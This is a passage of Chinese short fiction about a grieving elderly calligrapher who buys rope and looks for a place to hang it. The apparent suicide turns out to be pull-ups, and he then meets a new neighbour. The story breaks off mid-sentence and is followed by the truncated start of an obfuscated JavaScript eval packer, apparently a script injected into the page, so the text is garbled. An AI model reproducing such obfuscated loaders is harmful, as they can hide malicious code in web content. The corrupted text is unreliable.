*
李博文是东澜市书法协会的副会长，年过六旬，经营着一家书法工作室。
往日周六都是学生最多的时候，今天却格外冷清。到了傍晚五点，他便提前关了店门。
买完菜，路过小公园时，不知为何今天感觉有点累，他走了进去。
初夏的暮色还未完全降临，天际泛着淡淡的橘红。
他坐在长椅上，望着前方的健身设施发呆。
一个小男孩正在荡秋千，妈妈在一旁推着。孩子咯咯的笑声传来，感染得李博文也不自觉地露出微笑。
“爸爸快下班了，我们回家吧。”妈妈轻声说。
“妈妈，爸爸为什么要上班啊？”小朋友天真地问。
“傻孩子，不上班怎么养你呀。”
“我要爸爸陪我玩，他老是加班，之前说好去迪士尼的。”小男孩噘着嘴。
“今天你是小寿星，爸爸特意提前下班陪你过生日呢。说不定已经准备了惊喜给你哦。”
“太好啦！回家吃蛋糕喽！”小男孩欢呼雀跃。
这时妈妈注意到李博文的目光，神色一紧，匆匆拉着孩子离开了。
暮色渐深，树叶在微风中沙沙作响，吹动他单薄的衣襟。李博文长叹一声，起身离开。
路过一家便利店时，他走了进去，声音沙哑：
“有没有粗绳卖？”
“要多粗？”
“捆猪用的那种。”
店员狐疑地看了他一眼：“我找找。”
不一会儿店员取来一捆麻绳。李叔掏出手机，默默付了钱。
大概六点多，李博文拖着疲惫的脚步，走进一座老旧的筒子楼。
楼道里昏暗潮湿，墙皮斑驳剥落，楼梯间的声控灯早就坏了。
自从三个月前对门发生命案后，本就稀少的住户更是走得七七八八，整栋楼仿佛一座凿满孔洞的墓碑。
钥匙在生锈的门锁里艰难转动，发出刺耳的”咔嚓”声。
推开门，妻子和儿子的遗像静静地挂在墙上。
房间里，一只黑猫小声叫唤着窜了过来。
这是他前几天刚捡的小猫，他给它起名“福星”。
遇见它的那天，它在川流不息的马路上嘶鸣，不停地拱着猫妈妈，可猫妈妈已经被车压得扁扁的。
出于好意，李博文把它抱回了家。
给福星添了水和猫粮之后，他借着最后一缕夕阳走进厨房，给自己煮了一碗面。
电视机的蓝光在黑暗中闪烁，照亮他独自进食的身影。
窗外广场舞的喧嚣传来，他起身关窗，将自己与外面欢乐的世界隔绝。
看完《新闻联播》和天气预报，他关掉电视，房间再次陷入死一般的寂静。
第二天早晨，李博文仔细地刮干净胡须，将每一根白发都梳理整齐。
他翻出箱底那套不知何时买的新衣服，穿在身上，镜中人意外的精神。
拿起昨天买的粗绳，他开始在屋里踱步。
环视客厅的天花板，没有横梁。
走进卫生间，管道不够结实。
卧室的衣柜也不够稳固。
最后，他的目光落在阳台的晾衣架上——那根结实的铁杆。
他给粗绳打了个结，将绳索挂上去。
临出客厅前，又深深看了眼墙上的遗像，轻轻叹息。
福星昂头张望，瞳孔放大。
搬来小板凳，踩上去，伸手够住绳索。
楼下车水马龙，人声鼎沸。
他闭上眼，深吸一口气。
突然发力——
做起了引体向上。
虽然只做了两个，但激烈的运动让他喘个不停。
他擦了擦汗，只听见外面楼道里有人在吆喝的声音。
“一二一，一二一。”
“别把我东西撞坏了。”
“转弯，转。使劲。”
李博文准备出门上班，刚一开门，就看见对门大敞着。
楼道本就逼仄，此时更是被各式家具堵得水泄不通，他只得侧着身子，紧贴着墙壁往下挪。
“哎哟，师傅当心点，别把那小老头撞着了！”楼下传来一个清亮的声音。
李博文往下望去，一个蓬着卷发的年轻人正指挥着搬家工人。
“我还以为对门没人住呢。”年轻人冲他露出灿烂的笑容，“以后我就是你的新邻居啦！”
李博文打量着这个不速之客，眉头微皱。
走出几步后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){